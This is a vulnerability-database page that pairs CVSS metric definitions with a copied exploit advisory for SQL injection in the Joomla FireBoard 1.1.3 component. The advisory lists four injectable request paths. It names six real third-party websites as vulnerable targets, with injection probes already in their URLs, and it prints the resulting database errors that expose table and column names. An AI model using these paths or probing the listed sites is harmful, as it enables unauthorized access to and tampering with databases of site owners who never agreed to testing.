The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Joomla 1.5.26 Com_FireBoard Components 1.1.3 SQL Injection
###################################################################
# Exploit Title : Joomla 1.5.26 Com_FireBoard Components 1.1.3 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : fireboard.bestofjoomla.com
# Software Information Link : infosolutionsgoa.com/cms/fireboard-forum-joomla.html
# Software Download Link : artio.net/downloads/joomla/joomsef/joomsef-2-x-extensions-free
# Software Affected Version : Com_FireBoard 1.1.3
# Joomla Affected Version : Joomla 1.5.0 - 1.5.1 - 1.5.8 - 1.5.18 - 1.5.26
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Joomla 1.5.26 Com_FireBoard Components 1.1.3 is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&id=[ID-NUMBER]&catid=[SQL Injection]&func=fb_pdf
/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&func=view&id=[ID-NUMBER]&catid=[SQL Injection]&fontstyle=f-larger&lang=ru
/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC<=zh&lang=zh&limitstart=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_fireboard&Itemid=[ID-NUMBER]&func=showcat&id=[ID-NUMBER]&view=threadedview&catid=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] pionieredellanautica.it/index.php?option=com_fireboard&Itemid=22&id=39&catid=1%27&func=fb_pdf
[+] panghud.ac.th/panghud/index.php?option=com_fireboard&Itemid=0&id=17&catid=9&func=fb_pdf
[+] turani.ro/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC%E2%8C%A9=zh&lang=zh&limitstart=210&Itemid=1%27
[+] efurmedia.com/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC%E2%8C%A9=zh&lang=zh&limitstart=210&Itemid=1%27
[+] compling.tj/index.php?option=com_fireboard&Itemid=2&func=view&id=1&catid=2&fontstyle=f-larger&lang=ru
[+] bpao.go.th/bpaoweb/index.php?option=com_fireboard&Itemid=8&func=showcat&id=0&view=threadedview&catid=1%27
###################################################################
# Example SQL Database Error :
****************************
Fatal error: Unable to load categorie detail.\nDB function failed with error number 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near '' at line 1 SQL=SELECT id,pub_access,pub_recurse,admin_access,
SQL =SELECT id,pub_access,pub_recurse,admin_access,admin_recurse FROM jos_
fb_categories where id=admin_recurse FROM jos_fb_categories where id=
500 - No valid database connection:You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 'ASC?=zh, id ASC?=zh LIMIT 210, 30'
at line 4 SQL=SELECT u.id, u.name, u.username , u.usertype , u.email , u.registerDate, u.lastvisitDate ,
fu.showOnline, fu.group_id, fu.posts ,fu.karma , fu.uhits , g.title FROM jos_users AS u INNER JOIN
jos_fb_users AS fu ON fu.userid = u.id INNER JOIN jos_fb_groups AS g ON g.id = fu.group_id
ORDER BY username ASC?=zh, id ASC?=zh LIMIT 210, 30
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################
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